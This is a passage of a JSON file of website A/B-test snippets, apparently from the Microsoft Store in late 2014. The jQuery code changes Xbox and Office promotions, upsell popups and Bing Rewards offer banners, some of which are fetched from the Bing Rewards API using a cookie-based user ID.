    \");"},"2452500714":{"code":"$(function(){\n $('body').addClass('exp-rr-358');\n});"},"2444720189":{"code":"$(function(){\n $('.triple-hero-control .right .top').attr('data-offerid', '44807010209');\n $('.triple-hero-control .right .top').attr('href', 'http://www.microsoftstore.com/store/msusa/en_US/pdp/Xbox-One-Assassins-Creed-Unity-Bundle/productID.307070100');\n $('.triple-hero-control .right .top img').attr('src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Xbox/en-US-Hm-Trip-S-Xbox-One-AssassinsCreed-Nebula-Bundle-desktop.jpg');\n $('.triple-hero-control .right .top .overlay h1').text('Limited Time! Save $50 and Get 2 free games on Xbox One');\n $('.triple-hero-control .right .bottom').attr('data-offerid', '44824415309');\n $('.triple-hero-control .right .bottom').attr('href', 'http://www.microsoftstore.com/store/msusa/en_US/pdp/Evolve-for-Xbox-One/productID.296776700');\n $('.triple-hero-control .right .bottom img').attr('src', 'http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Xbox/en-US-Hm-Trip-S-Xbox-Evolve-Game-desktop.jpg');\n $('.triple-hero-control .right .bottom .overlay h1').text('Pre-order Evolve and get a $10 Xbox Gift Card');\n});\n$(\".top h1\").html(\"Limited Time!
    Save $50 and get 2 free games on Xbox One\");"},"2233400047":{},"2175140081":{"code":"var offerText;\nvar offerHtml = '
    {0}
    ';\n\nif($('.shipping-method').length > 0)\n{\n offerText = \"Get free 2-day shipping\";\n}\nelse\n{\n offerText = \"20 bonus credits for new members\";\n}\n\n\n\n$('.not-member > p').html(\"Join Bing Rewards to earn credits when you search on Bing and through daily offers. Redeem your credits for gift cards, Microsoft Store discounts, Microsoft services and more. Bing Rewards members also get free 2-day shipping on orders over $75 (valid until Nov. 23, 2014).\");\nofferHtml = offerHtml.replace(\"{0}\", offerText);\n\n$('.not-member').prepend(offerHtml);\n$('.not-member h3').remove();\n$('.not-member .rewards-list').remove();"},"2375811826":{"code":"$(function(){\n if($('a[pid-ref=286395000] .badge').length > 0){\n $('a[pid-ref=286395000] .badge').text('5 PCs/Macs/iPads');\n }\n else{\n $('a[pid-ref=286395000] .image-container > div').before('5 PCs/Macs/iPads');\n }\n if($('a[pid-ref=297833200] .badge').length > 0){\n $('a[pid-ref=297833200] .badge').text('1 PC/Mac/iPad');\n }\n else{\n $('a[pid-ref=297833200] .image-container > div').before('1 PC/Mac/iPad');\n }\n if($('a[pid-ref=275549300] .badge').length > 0){\n $('a[pid-ref=275549300] .badge').text('2 PCs/Macs/iPads');\n }\n else{\n $('a[pid-ref=275549300] .image-container > div').before('2 PCs/Macs/iPads');\n }\n if($('a[pid-ref=259179500] .badge').length > 0){\n $('a[pid-ref=259179500] .badge').text('1 PC');\n }\n else{\n $('a[pid-ref=259179500] .image-container > div').before('1 PC');\n }\n});"},"2255990004":{"code":"jQuery(document).ajaxComplete(function(){\n if(!$('.exp-11-05').length){\n $('.candy-rack li').each(function(){\n var link = $('a',this).attr('href').replace('buy', 'pdp');\n $('img',this).next('p:eq(0)').andSelf().wrapAll('');\n });\n }\n});"},"2504150262":{},"2593460476":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2401700093":{"code":"$('body').addClass('exp-findstore 1.22');\n\njQuery( document ).ajaxComplete(function() {\n\tif(!jQuery('nav .top-level-menubar .find-a-store').length){\n \tjQuery('nav .top-level-menubar').append('
  • Find a store
  • ');\n }\n});"},"2408450818":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var1');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('288186100', _TM.pids) !== -1){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p:first').text().indexOf('Office 365 Home') !== -1 && $(this).find('.title p.comment.lineItemVariationLanguage').text() === '1-year auto-renewal'){\n $(this).find('.info .download.box').text('Download and Install Office');\n $(this).find('.info .download.box').attr('title','Download and Install Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n \n }\n });\n }\n }\n});"},"2354271275":{},"2200851033":{},"2002640648":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\n//Real add to cart button\nvar expItem = jQuery('a.buyBtn_AddtoCart');\nvar expItemPlaceholderURL = 'http://' + window.location.host + expItem.attr('href');\nvar expItemVariationPID = jQuery('.variation-container .addon input[type=checkbox]').attr('bundleofferid');\nvar expOfferURL = (expItemVariationPID ? ('/OfferID.' + expItemVariationPID) : '');\n\n//Fake add to cart button\n$('.add-to-cart').prepend('Add to cart');\n\n\njQuery(document).ajaxComplete(function() {\n jQuery('html').addClass('experiment-addon-visible');\n \n if(jQuery('.buyBtn_outOfStock').is(':visible')){\n jQuery('html').addClass('experiment-addon-outofstock');\n };\n});\n\nfunction bindAfterOpen(){\n\n /*\n jQuery('.exp-modal-addon .column2 .accept').on('click.addtocart', function(e){\n e.preventDefault();\n \n if(jQuery('.variation-container .addon').length){\n jQuery('.variation-container .addon input[type=checkbox]').attr('checked', 'checked');\n };\n \n //Click hidden ATC after 250 delay\n setTimeout(function(){\n window.location = $(this).attr('href');\n }, 50);\n });\n */\n};\n\n\nvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    Protect your purchase for only $199

    ',\n '

    Get 2-years of accidental damage protection—plus unlimited software support and training from Answer Desk.

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n jQuery('.exp-modal').on('click', function (e) {\n\t\tjQuery.magnificPopup.open({\n\t\t\ttype: 'inline',\n\t\t\tmodal: true,\n\t\t\titems: [{\n\t\t\t\ttype: 'inline',\n\t\t\t\tsrc: expModal\n\t\t\t}],\n callbacks: {\n\t\t\t\topen: function () {\n\t\t\t\t\tbindAfterOpen();\n\t\t\t\t}\n },\n\t\t\tremovalDelay: 300,\n\t\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t\t});\n\t});"},"2211310964":{"code":"var sku = \"CWF-01852\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\nvar html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up during checkout

    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2495940367":{},"2205211924":{"code":"var sku = \"CWF-01852\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up is free. Learn more >

    \\n
    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2366891285":{},"2511470297":{"code":"$(function(){\n $('body').addClass('exp-vc-inv-msg-hide-office');\n});\njQuery(document).ajaxComplete(function(){\n if(typeof(Pusher) !== 'undefined'){\n $('body').removeClass('exp-vc-inv-msg-hide-office').addClass('exp-vc-inv-msg-visible-office');\n if($('#videodesk-title-bar').length && !$('.exp-vc-inv-msg-office').length){\n\t\t\t$('#videodesk-title-bar').text(' Office questions? Video chat with us. ');\n $('#videodesk-title-bar').addClass('exp-vc-inv-msg-office');\n\t\t} \n\t}\n});"},"2562410779":{},"2515990303":{"code":"$(function(){\n $('body').addClass('exp-vc-inv-msg-hide-xbox');\n});\njQuery(document).ajaxComplete(function(){\n if(typeof(Pusher) !== 'undefined'){\n $('body').removeClass('exp-vc-inv-msg-hide-xbox').addClass('exp-vc-inv-msg-visible-xbox');\n if($('#videodesk-title-bar').length && !$('.exp-vc-inv-msg-xbox').length){\n\t\t\t$('#videodesk-title-bar').text(' Xbox questions? Video chat with us. ');\n $('#videodesk-title-bar').addClass('exp-vc-inv-msg-xbox');\n\t\t} \n\t}\n});"},"2177630497":{"code":"var curVideoView = getExperimentVideo();\n\nfunction getExperimentVideo(){\n \n if(Viewport.isDesktop()){\n return 'MS215308_XBoxOne_HolidayBundles_Desktop-v1B.mp4';\n }\n else if(Viewport.isTablet()){\n return 'MS215308_XBoxOne_HolidayBundles_Tablet-v1B.mp4';\n }\n else{\n return 'MS215308_XBoxOne_HolidayBundles_Mobile-v1B.mp4';\n };\n};\n\nfunction updateVideoHero(){\n\t\tvar newVideo = [''].join('\\n');\n\n\tif(curVideoView != getExperimentVideo()){\n\t\t$('.exp-videobanner video').replaceWith(newVideo);\n\t\n\t\tcurVideoView = getExperimentVideo();\n\t};\n};\n\nvar videoHero = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'

    Give \\'em hell

    ',\n '

    Assassin\\'s Creed: Unity and Black Flag free when you buy an Xbox One console, starting at $349

    ',\n\t\t\t\t\t\t\t\t'Shop now',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#body .full-page-splash:eq(0)').replaceWith(videoHero);\n\n$(window).resize(function() {\n updateVideoHero();\n});"},"2269900067":{},"2457571572":{"code":"$(document).ready(function(){\n $('body').addClass('expDwnBtnABN_var3');\n if (typeof _TM !== 'undefined' && _TM.pids.length !== 0) {\n if($.inArray('288186100', _TM.pids) !== -1 ){\n $('#dr_ThankYou').find('.complete-order-item').each( function () {\n if($(this).find('.title p:first').text().indexOf('Office 365 Home') !== -1 && $(this).find('.title p.comment.lineItemVariationLanguage').text() === '1-year auto-renewal'){\n $(this).find('.info .download.box').text('Download Office');\n $(this).find('.info .download.box').attr('title','Download Office');\n $(this).find('.info .download.box').addClass('optiExpBtn'); \n \n }\n });\n }\n }\n});"},"2223743783":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\tvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    For only $99, get the HP Stream 7 Tablet that includes Office 365

    ',\n '

    The HP Stream 7 Signature Edition Tablet includes 1 year of Office 365 Personal that can also be installed on 1 additional PC.

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n\nif($.inArray('297833200', _TM.baseids) != -1){\n\tjQuery.magnificPopup.open({\n\t\ttype: 'inline',\n\t\tmodal: true,\n\t\titems: [{\n\t\t\ttype: 'inline',\n\t\t\tsrc: expModal\n\t\t}],\n callbacks: {\n\t\t\topen: function () {\n\t\t\t\t\n\t\t\t}\n },\n\t\tremovalDelay: 300,\n\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t});\n};\n\n\n/* Update Messaging For Tablet */\nvar itemIndex = $.inArray('308781500', _TM.baseids),\n\t\titemRow = $('.cart-item-container .cart-item:eq(' + itemIndex + ')');\n\n$('.info', itemRow).append('

    Includes Office 365 Personal 1 yr. Subscription.

    ');\n\n\n\n/* Events for Office 365 */\nfunction updateProductConfig(){\n var cartIndex = $.inArray('297833200', _TM.baseids),\n \t\tcartURL = $('.cart-item-container .cart-item:eq(' + cartIndex + ') .remove-prod').attr('href');\n \n\tvar request = jQuery.ajax({\n\t type: \"GET\",\n\t url: cartURL\n\t});\t\t\t\n\t\t\t\t\n\trequest.success(function(data, status){\n\t\t//Add new product to cart\n\t\twindow.location = 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.308781500/ThemeID.33363200/Currency.USD/mktp.US/nextAction.DisplayThreePgCheckoutShoppingCartPage';\n\t});\t\t\t\n};\t\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-yes', function(){\n\tupdateProductConfig();\n \n $(this).closest('.actions').html('Updating cart...');\n});\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-no', function(){\n\tjQuery.magnificPopup.close()\n});"},"2215510318":{},"2584051933":{},"1863350065":{},"2218581506":{},"2608720691":{},"2216181044":{},"2572260489":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2585080120":{},"2486860090":{},"2367011131":{},"2222671170":{"code":"var sku = \"CWF-01825\";\n$('body').append('');\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0} {1}
    Not a member? Sign-up is free. Learn more >

    \\n
    \";\n html = html.replace(\"{0}\", title);\n html = html.replace(\"{1}\", desc);\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n jQuery(\".buySpan_AddtoCart\").append(html);\n jQuery(\".product-tab-content\").append(\"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
    \\n\\n \\\"Any\\n
    \\n\\n
    \\n\\n
    \\n

    It's free to join

    \\n

    Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn Bing Rewards credits when you purchase qualifying products on Microsoft online store, search on Bing through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n
    \\n
    \\n
    \\n\\n
    \\n\\n
    \\n
    \\n \\\"Image\\n\\n

    How do I sign up?

    \\n

    On the cart page during check-out, you can enroll for free. Your rewards account will be associated with your Microsoft Account.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    How do I get the Bing Rewards credits?

    \\n

    For qualifying products, bonus credits are awarded with purchase. For qualifying products, Bing Rewards credits are awarded with purchase. After your product ships, your credits will be deposited into your Bing Rewards account within 5 days.

    \\n
    \\n
    \\n
    \\n
    \\n \\\"Image\\n

    What can credits be used for?

    \\n

    Credits can be redeemed for things like 100GB of OneDrive storage (500 credits), Starbucks gift card (525 credits), 1 month Xbox Live Gold membership (699 credits).

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n }\n\n getRewardsUserInfo(loadCreditsOffer);"},"2177170243":{},"2201961185":{"code":"var sku = \"6NU-00001\";\n\n function getRewardsUserInfo(callback) {\n var getUserInfoUrl = '//www.bing.com/msrewards/api/v1/getuserinfo',\n userId = getUserId(),\n request = {\n PartnerId: 'MSStore',\n UserId: userId,\n Channel: 'MSStore',\n Options: {\n FetchOffers: true\n }\n };\n\n crossDomainAjax(getUserInfoUrl, request, callback);\n }\n\n function getUserId() {\n var aCookies;\n if (tryGetCookie('ANON')) {\n aCookies = tryGetCookie('ANON').split('&');\n\n for (var i = 0; i < aCookies.length; i++) {\n var aCookie = aCookies[i];\n if (aCookie.charAt(0) === 'A' && aCookie.charAt(1) === '=') {\n return aCookie.substring(2);\n }\n }\n }\n }\n\n function crossDomainAjax(url, requestObj, successCallback) {\n if ('XDomainRequest' in window && window.XDomainRequest !== null) {\n var xdr = new XDomainRequest();\n var rewardsCookie = tryGetCookie(rewardsCookieName);\n\n xdr.open('POST', url);\n xdr.onload = function () {\n var dom = new ActiveXObject('Microsoft.XMLDOM'),\n response;\n\n dom.async = false;\n\n response = jQuery.parseJSON(xdr.responseText);\n successCallback(response);\n };\n xdr.onprogress = function () {\n // Do not remove\n };\n xdr.ontimeout = function () {\n // Failure\n\n };\n xdr.onerror = function () {\n // Failure\n };\n try {\n xdr.send(JSON.stringify(requestObj));\n } catch (e) {\n // Failure\n }\n } else if (navigator.userAgent.indexOf('MSIE') != -1 && parseInt(navigator.userAgent.match(/MSIE ([\\d.]+)/)[1], 10) < 8) {\n // Failure\n return false;\n } else {\n jQuery.post(url, JSON.stringify(requestObj), successCallback, 'json').fail(function () {\n // Failure\n });\n }\n }\n\n function omnitureTracking(trackingEvent) {\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, 1);\n }, 0);\n }\n\n function verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count) {\n if (window.t_omni_utils && (typeof window.t_omni_utils.omniModTracking == \"function\")) {\n window.t_omni_utils.omniModTracking(true, 1, \"Rewards\", \"\", trackingEvent, trackingEvent, '');\n } else {\n if (count <= 0) {\n return;\n }\n count--;\n\n setTimeout(function () {\n verifyOnmitureModTrackingExistsBeforeCalling(trackingEvent, count);\n }, 500);\n }\n }\n\n function tryGetCookie(name) {\n name += \"=\";\n var allCookies = document.cookie.split(';');\n for (var i = 0; i < allCookies.length; i++) {\n var cookie = jQuery.trim(allCookies[i]);\n\n if (cookie.indexOf(name) === 0) {\n return cookie.substring(name.length, cookie.length);\n }\n }\n\n return null;\n }\n\n function loadCreditsOffer(user) {\n var offerTitle;\n var offerDescription;\n\n if (user.Offers.length > 0) {\n for (var i = 0; i < user.Offers.length; i++) {\n var obj = user.Offers[i];\n if (obj.Attributes.MSStoreSku) {\n if (obj.Attributes.MSStoreSku == sku) {\n offerTitle = obj.Title;\n offerDescription = obj.Description;\n\n displayOffer(offerTitle, offerDescription);\n }\n }\n }\n }\n }\n\n function displayOffer(title, desc) {\n var html = \"
    \\n \\n

    {0}
    {1}
    Not a member? Sign-up is free at checkout.

    \\n
    \";\n html = html.replace(\"{0}\", \"Earn 600 Bing Rewards credits\");\n html = html.replace(\"{1}\", \"For a limited time, Bing Rewards members earn credits when purchasing this product. Credits can be redeemed for gift cards, services, and sweepstakes entries.\");\n //jQuery(\"#product-footer .grid-container\").append(\"

    1 Valid for Bing Rewards members who order a qualifying Microsoft Store online product between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");\n\n\n if(jQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").length > 0){\n\t\t\t\t\t\tjQuery(\"#physicalxboxoneenglish .buySpan_AddtoCart\").append(html);\n }\n else{\n jQuery(\".buySpan_AddtoCart\").append(html);\n }\n \n var rewardsTabHtml = \"
    \\n
    \\n

    Rewards

    \\n
    \\n\\n\\n
